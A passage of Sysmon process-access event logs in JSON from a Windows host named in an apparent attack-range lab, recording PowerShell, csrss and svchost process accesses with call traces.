i.dll+3be33fb0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33c81(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c8e5096(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be1aae2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be1a0b2(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.240","SourceProcessGUID":"{90617006-413F-5F2D-0000-00108F760600}","SourceProcessId":"4408","SourceThreadId":"4892","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-001069820600}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c992ed6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33fb0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33c81(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c8e5096(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bdf4817(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be52ce6(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be3634b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be3634b(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be361dc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be28161(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be34694(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be34287(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33fb0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be33c81(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c8e5096(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be1aae2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be1a0b2(wow64)","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4554,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.240\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-001069820600}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.240","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-001069820600}","TargetProcessId":"4248","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4555,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4556,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4557,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4558,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4559,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4560,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:43.240\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:43.240","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 